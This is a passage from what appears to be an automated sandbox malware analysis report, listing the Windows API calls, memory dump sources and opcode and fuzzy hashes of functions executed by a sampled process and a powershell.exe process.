Opcode Fuzzy Hash: 377d7c2047263a0fa4958bb72ae57de4681ea277ba8a5056d60ec1c5281e045b
Instruction Fuzzy Hash: B011C172500305EFEB21DF55DC85BA6FBA8EF44720F14886BFD498B281D670E9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01DCBA7E

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 46e107fa3b2c280206cb21274bbecced28389a2271c2cc592cdf91f33e635ecd
Instruction ID: 9d13431e283bb5997b619ff764442fb06253d8ea581e5d34001f2f3a45cd076a
Opcode Fuzzy Hash: 46e107fa3b2c280206cb21274bbecced28389a2271c2cc592cdf91f33e635ecd
Instruction Fuzzy Hash: EF119D72504380AFDB22CF65DC45B52FFF4EF09260F08889EE9898B662D375E418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027F0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 027F08E5

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 32f58c0dbbb6e6cfa930c942eaecb699d73b2d5850dbd4c5c761f063f58a746e
Instruction ID: 9736212649c78c795fd986eadcf91fa4ef74f451e66af9b6c78c5fca6a906e45
Opcode Fuzzy Hash: 32f58c0dbbb6e6cfa930c942eaecb699d73b2d5850dbd4c5c761f063f58a746e
Instruction Fuzzy Hash: C411CE72504300EFFB61CF61DC85FA6FBA8EF14720F04856AEE499A246D671A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01DCA39C

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 557e435f5bc40aa263179bbe27a24593de7566038bf957304b5cccd247a59f94
Instruction ID: 63ac076c13bc75cdbb13f9ea7c9e63c90fc800a6afb1ece8079ea62acb05b6ca
Opcode Fuzzy Hash: 557e435f5bc40aa263179bbe27a24593de7566038bf957304b5cccd247a59f94
Instruction Fuzzy Hash: 2A116D715093C49FEB128B25DC54AA2BFB4DF47624F0884CAEDC44B253D265A908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027F12D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027F132F

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 1948b798eecf59888f47dd2096c3c65d93e6376e6344c2947c31596a460167ab
Instruction ID: d986280e92ba709182887b5eb7790b3d57793de3b1899a6dd75f1b289e526711
Opcode Fuzzy Hash: 1948b798eecf59888f47dd2096c3c65d93e6376e6344c2947c31596a460167ab
Instruction Fuzzy Hash: BF1191715093849FDB11CF25DC49B96FFA4EF06220F0984EEED498B252D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027F05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027F0640

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: f522f0f9abdce36ddad2458a557874b9c6903390a22a4deb70ee9128e7149e4a
Instruction ID: 14fd9bfe44996237c2fef311a0c8a63d20b4c9118b97aa2bdf318fea22bfb2d5
Opcode Fuzzy Hash: f522f0f9abdce36ddad2458a557874b9c6903390a22a4deb70ee9128e7149e4a
Instruction Fuzzy Hash: F911C6755093C09FDB128B15DC55B52FFB4DF42220F0880DBED858B653D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01DCAB1A

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 98ebde698929b33592987ea6d476aefba0b50855aa05244303b0c0383152e876
Instruction ID: 81e7d57e3c73846ee10be5b83202902d874c0dda1e17fcfaa1470ee406da88ab
Opcode Fuzzy Hash: 98ebde698929b33592987ea6d476aefba0b50855aa05244303b0c0383152e876
Instruction Fuzzy Hash: D21165B16003059FEB20DF69DC85756FBE9EF14621F08C86EED49CB642E674E504CA71

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01DCAA71

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 8992f25dec1ab02df9841f8f8396f78e9b6a5a1bcb20e6ad5096d9718405d6f7
Instruction ID: e1231a47ba70d99eb437c017382a9969a0a66b5167329f2bca9a32befa84fa7f
Opcode Fuzzy Hash: 8992f25dec1ab02df9841f8f8396f78e9b6a5a1bcb20e6ad5096d9718405d6f7
Instruction Fuzzy Hash: 3911E37540D7C49FD7128B25DC85B92BFB0EF07220F0980DBDD848F163D268A909C762

Uniqueness

Uniqueness Score: -1.00%

Function 027F092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027F099C

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 69d5292e46a6ad05145bd55d7ef97a8b996f7e28a46ce1335713f4e92700167c
Instruction ID: f51ea3bd027807540addc4f21552bfd8967244cc2c43fc0930a0dfbbb5f4316c
Opcode Fuzzy Hash: 69d5292e46a6ad05145bd55d7ef97a8b996f7e28a46ce1335713f4e92700167c
Instruction Fuzzy Hash: C9119D715093C09FE722CB25DC55B92FFB4EF07324F0980DADD844B263D265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027F07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,1716A513,00000000,00000000,00000000,00000000), ref: 027F0819

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 8402904868a2123bc59cd272b6b76740bbf03b7c46ed9dea4f57865bab4a3eec
Instruction ID: 86fd8387da0377f31cc5b2949d4a0aea5cad3a1e34ce29f3d5242406e4b8a2ef
Opcode Fuzzy Hash: 8402904868a2123bc59cd272b6b76740bbf03b7c46ed9dea4f57865bab4a3eec
Instruction Fuzzy Hash: 4E01C075504304EFFB60DF11DC86BA6FB98DF04720F148096EE099A386D674AA04CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027F13AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027F13F0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 06ee2a129bdb9da3274bfac18e169481aedb5edac86b91b6f3b52032ff3668e3
Instruction ID: 0657d2083b4b2881edc1510149000e4ad8a35e18fd665be87ec42a5b54516140
Opcode Fuzzy Hash: 06ee2a129bdb9da3274bfac18e169481aedb5edac86b91b6f3b52032ff3668e3
Instruction Fuzzy Hash: 38118B76604700DFEB60CF56DC85B66FBA4EF04220F0884AAEE498B752D371E418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01DCABC9

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 68811b78564120476fe59ba51c72387cc7f5dc48be6b5dc0b3cdaf89dcdfe1a4
Instruction ID: 69e3824ac7ef3dbbc914ab933b3d08a65422fd089b28f02cbad29008fb7f2272
Opcode Fuzzy Hash: 68811b78564120476fe59ba51c72387cc7f5dc48be6b5dc0b3cdaf89dcdfe1a4
Instruction Fuzzy Hash: ED11C2B55093849FDB11CF55DC85B92FFA4EF02220F0984ABED488F153D274A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01DCBA7E

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 55d380952b4545659c01b7e8ad226702f30f64f40326a9409cf7381a6753c10f
Instruction ID: b6f6362ef7c6a0afa18b237f24886413dcf456d8ab61b32462c7e27dd6ac7a18
Opcode Fuzzy Hash: 55d380952b4545659c01b7e8ad226702f30f64f40326a9409cf7381a6753c10f
Instruction Fuzzy Hash: AC117C72500700DFEB21CF59DC45B62FBE4EF08661F0888AEED898B612D2B1E514DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01DCA23E

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 84342ae43ff9ab9a28670b2984e5f71ef33b161dc713a4d55aceb010c8fe5195
Instruction ID: 356367876352e71c1d9291894c3bac5fc4f32c34b5d07c36ed503f3af9685f1b
Opcode Fuzzy Hash: 84342ae43ff9ab9a28670b2984e5f71ef33b161dc713a4d55aceb010c8fe5195
Instruction Fuzzy Hash: E8018471900600AFE710DF16DC46B76FBB8FB84A20F14816AED089B741D275F915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027F104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027F109E

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1cdb1ae7a885b9d8d13caaadb4d68a9aee51f2575b7de45d5456c4ba896a6dba
Instruction ID: a3f015baa8a989b35dca9d6388d10a049b50b896bed3ccffb81f32b64314bda1
Opcode Fuzzy Hash: 1cdb1ae7a885b9d8d13caaadb4d68a9aee51f2575b7de45d5456c4ba896a6dba
Instruction Fuzzy Hash: 78017171900600ABE350DF16DC46B66FBA8FB84A20F14816AED089B741D275B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027F0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027F01D0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 8f097627bf0d4021c489ed6cc1c7420777821b56f37772c307d2a98f07dbe87c
Instruction ID: 891b0b85d62a5004abd821b343784825cc52d7c55c2549eeed68572af4ad54c5
Opcode Fuzzy Hash: 8f097627bf0d4021c489ed6cc1c7420777821b56f37772c307d2a98f07dbe87c
Instruction Fuzzy Hash: 59019E716043048FEB50DF2ADC857AAFBA8EB00220F08C4AADD09CB746D774E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCBAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01DCBB2F

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 763d56258049473ff2f73d2b60303c51a6bb9845227101ace7f6df98c2e79195
Instruction ID: cd17536a89bd90d2a2551dc2a0aabc85ef20d4884ad499328502a1d476068b87
Opcode Fuzzy Hash: 763d56258049473ff2f73d2b60303c51a6bb9845227101ace7f6df98c2e79195
Instruction Fuzzy Hash: D201DF71500200DFEB21CF59DC867A5FBA4EF04A61F08C8AFED498B256D275E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027F12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027F132F

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 2a393f8b2fd3399d7d35e11c4c180940e83956b6af144bb0a287a47ffc0e2bc0
Instruction ID: 69e906e10d0cd3326be8c4e9c3727dbea41c9cecf0413b7826ca66deffe3c568
Opcode Fuzzy Hash: 2a393f8b2fd3399d7d35e11c4c180940e83956b6af144bb0a287a47ffc0e2bc0
Instruction Fuzzy Hash: 9201DF71508340DFEF60CF15DC85BA5FBA4EF04620F48C4AADD098B746D275A504CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01DCA94A

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 6902177530e2af3ab9619af5ceb205b841bf3618fc9f06aaaeae3e999adcb49c
Instruction ID: 36b928d01c25069f02cdc51a7b71049b666ff2e4265d8ea9dc713c15efe038a9
Opcode Fuzzy Hash: 6902177530e2af3ab9619af5ceb205b841bf3618fc9f06aaaeae3e999adcb49c
Instruction Fuzzy Hash: AA018671900600ABD350DF16DC46B36FBB4FB88B20F14815AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027F0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027F0FB0

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 8ecf72bbb4cf85d676a1855224323a8cd623ba38c932c979502cf03a2c29fd52
Instruction ID: 384df8be75cdbbc0276fe60d2af619abf3787fa71966bbceb129ff97de9e0609
Opcode Fuzzy Hash: 8ecf72bbb4cf85d676a1855224323a8cd623ba38c932c979502cf03a2c29fd52
Instruction Fuzzy Hash: 8B017C71908340DFEB60DF15DC85B66FBE4EB01621F48C4AADD088F34AD374E504CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027F04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027F0502

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 60a2113aaf437b9306addb4ba3374333caf2ccbbf315401f9d684fb7578ff631
Instruction ID: 3f2a2a73fd13d21ae02f069ca85c60e4da19574ee416c4de0132924f4aca1abe
Opcode Fuzzy Hash: 60a2113aaf437b9306addb4ba3374333caf2ccbbf315401f9d684fb7578ff631
Instruction Fuzzy Hash: C5016271900600ABD350DF16DC46B26FBB4FB88B20F14815AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027F060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027F0640

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 9dfebd4a8cf52df85db9d546560ad87765c85bc87385cd42755d3fe4652752b0
Instruction ID: 37ad6846100b54c7b0088bd0ac5fe758aef1a8afb30550c0c917c91ab5d9a96b
Opcode Fuzzy Hash: 9dfebd4a8cf52df85db9d546560ad87765c85bc87385cd42755d3fe4652752b0
Instruction Fuzzy Hash: 8101F435604700CFEB608F15DC89761FBA0DF41621F08C0AADD098B756D674E904DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01DCABC9

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 2bf9748a50239b482acd9657face2c5c0b6692960b214c5cd3874ce7c971558a
Instruction ID: 9551bb2a2a0e4dd9929ddd257fdb3e9e0ecfabe031644fa6ce4711bed8821aed
Opcode Fuzzy Hash: 2bf9748a50239b482acd9657face2c5c0b6692960b214c5cd3874ce7c971558a
Instruction Fuzzy Hash: C201F435504344CFEB10DF59DC897A1FBA4EF04621F48C8ABDD088F202E274E404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027F1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027F1148

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: cc9887085237898f8829ee4dbe6e12cd716d78451faf2b6f0f6f6591f111bc01
Instruction ID: 2fde68967644130aa57aef9f7f742933cecde9835acf266acfd84dfc9cf38a57
Opcode Fuzzy Hash: cc9887085237898f8829ee4dbe6e12cd716d78451faf2b6f0f6f6591f111bc01
Instruction Fuzzy Hash: 32F0FF35508740DFEB60CF05DC89762FBA0EF01A21F48C09ADE084B312D275A948CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01DCA39C

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: ad03949f26174a70ed71289f8aebf4e0cb01421b79652453efb6f956362d03ae
Instruction ID: d48eb2d01066ca05427b3353e48f7c506bf3a35016d28762ccc71d85a19d502d
Opcode Fuzzy Hash: ad03949f26174a70ed71289f8aebf4e0cb01421b79652453efb6f956362d03ae
Instruction Fuzzy Hash: 6DF0C235504744DFEB20DF56DC89765FBA0EF04B21F08C49ADD494B352E3B5E904CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027F096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027F099C

Memory Dump Source

Source File: 0000001A.00000002.2215698727.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: d35212ba4b7597565acdbe4766e785f4668d5243b91674b8842788eb10718766
Instruction ID: b2dcbae91acd92842c48f22f185622c99d5d2bb215e38d52ad7d7c18d81e6655
Opcode Fuzzy Hash: d35212ba4b7597565acdbe4766e785f4668d5243b91674b8842788eb10718766
Instruction Fuzzy Hash: 1AF0C235508740DFEB60DF06D889765FBA0EF14731F08C09ADE494B35BE375A504CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01DCAA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01DCAA71

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 471996c089819f36a27b5e50022160955b014cd76d9ca334e17d516774cff274
Instruction ID: 0e27b5e46a64fd9b5745bac0a5b298286b62fa2ecec35d8da7d7816aaa34e0f6
Opcode Fuzzy Hash: 471996c089819f36a27b5e50022160955b014cd76d9ca334e17d516774cff274
Instruction Fuzzy Hash: 62F0F631504745CFEB10CF1AD989762FBA0DF04A21F48C49ADD498F342E2B4E504CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01DCA9C8

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 60263db07d1915198b67e49b86727d7fe0edd6d118b0b3580e5066f2c84aaedb
Instruction ID: 04a2714e77d4c0bc5efebb7ad4fd68fd7c5d11e44555301362eacf7a613b97f7
Opcode Fuzzy Hash: 60263db07d1915198b67e49b86727d7fe0edd6d118b0b3580e5066f2c84aaedb
Instruction Fuzzy Hash: E71191715093849FD712CB25DC49B92FFA4DF06220F0984ABED45CB253D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01DCA996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01DCA9C8

Memory Dump Source

Source File: 0000001A.00000002.2209072493.0000000001DCA000.00000040.00000001.sdmp, Offset: 01DCA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c9fb717d91f6a50ebd82192654b7038a627f6ba5417515520d944d455a5cb180
Instruction ID: 9315d171f2b6423b8ee0ec74b8257944058d1800e44a4bd7e549746a90d978e2
Opcode Fuzzy Hash: c9fb717d91f6a50ebd82192654b7038a627f6ba5417515520d944d455a5cb180
Instruction Fuzzy Hash: 0901DF75600644CFEB10DF19DC897A6FBA4DF04620F08C4AEDC0A8B242E675E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 029907F7, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2215828694.0000000002990000.00000040.00000040.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae90cb5f24ff09d03f085267470730eaf1886514002e0364bf2840d0317aab5
Instruction ID: 9e483870d2f493fc725f9b889a5b314875373227f042387886e12f4e61c1182f
Opcode Fuzzy Hash: dae90cb5f24ff09d03f085267470730eaf1886514002e0364bf2840d0317aab5
Instruction Fuzzy Hash: 2501D6B25093809FD711CF16EC40C62FFB8EF86630709C09BEC498B612D225B909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05040860, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2217250727.0000000005040000.00000040.00000001.sdmp, Offset: 05040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b348c8324ffe00e872d08895e6f4caa0a433e7d9dc8da63fbe1abb08e8a3c876
Instruction ID: ebe913d48baaa8ec1f174d1e125c4de085c344370cd81b9a53cf6b5357c9bf0a
Opcode Fuzzy Hash: b348c8324ffe00e872d08895e6f4caa0a433e7d9dc8da63fbe1abb08e8a3c876
Instruction Fuzzy Hash: 74F0E52120E3C09FC3076778A8605587F715F83044B4E40EBD080CF1A7D7944C08C3B6

Uniqueness

Uniqueness Score: -1.00%

Function 0299081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2215828694.0000000002990000.00000040.00000040.sdmp, Offset: 02990000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6836d419192053d8c6f26dfc681aa92e52327f93d9edeece3a02fd963e7843
Instruction ID: b8cb815ad16d47ba5b62b054de81cdf97924a946bb5b0fa2872a144f121cb7de
Opcode Fuzzy Hash: 2d6836d419192053d8c6f26dfc681aa92e52327f93d9edeece3a02fd963e7843
Instruction Fuzzy Hash: 49E092766007008BDB50CF0BFC41462F7A4EB84A30B18C07FDC0D8B701D175B604CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 01DC23F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2209063512.0000000001DC2000.00000040.00000001.sdmp, Offset: 01DC2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b6f452daa0d6954444127288b567fbe80e17608993214ca07409a3bd2d708c
Instruction ID: 9db4ca24eb5b913dc146bf86e2e7bca8721b2f425fc7a1f6704b7f7de1de2fb7
Opcode Fuzzy Hash: d4b6f452daa0d6954444127288b567fbe80e17608993214ca07409a3bd2d708c
Instruction Fuzzy Hash: 4DD05E79208A828FE7168A1CC1A5B957BA4AF69B04F4648FDE840CB6A3C768E581D200

Uniqueness

Uniqueness Score: -1.00%

Function 01DC23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2209063512.0000000001DC2000.00000040.00000001.sdmp, Offset: 01DC2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc46d1d53fa278e16a1db8b7b2feac7abb05dd720ded4e65ca0f95f1f0ef2fb
Instruction ID: 2086681d072e6010e9bbfb8ea777ab122413ceafeb01866ceae5fb651cf87e93
Opcode Fuzzy Hash: 2cc46d1d53fa278e16a1db8b7b2feac7abb05dd720ded4e65ca0f95f1f0ef2fb
Instruction Fuzzy Hash: CAD05E343006828FEB15CA1CC194F5977E4AF44B00F0648ECFC008B666C3B5E880C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2276 Parent PID: 2948 powershell.exeCOMMON

Executed Functions

Function 0264ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0264AD37

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 3dbeeeb7925a759071b8dc3ca8ee5f0e8c1c00ea3d569e65712ad6de78c039cc
Instruction ID: 2b1c7e38cfc2ae4f4fe95ef6e2af30ce9c74400834a2ffef317ad5225bf80e9e
Opcode Fuzzy Hash: 3dbeeeb7925a759071b8dc3ca8ee5f0e8c1c00ea3d569e65712ad6de78c039cc
Instruction Fuzzy Hash: 8721D376509780AFEB128F25DC44B92BFB4EF06310F0884DAE9848F2A3D7319908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0264ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0264AD37

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 65785bba4316b3924430f6d3f2805ee979cd35965027519291a5563671290327
Instruction ID: c8f78217fd5ebe3d430c131e31ac2532a3aad4fe9fbf3b068f6a55d26d22e717
Opcode Fuzzy Hash: 65785bba4316b3924430f6d3f2805ee979cd35965027519291a5563671290327
Instruction Fuzzy Hash: EF117076500704EFEB21DF55DC84BA6FBE4EF04221F08C46AED898B662DB31E814DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0264B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0264B329

Memory Dump Source

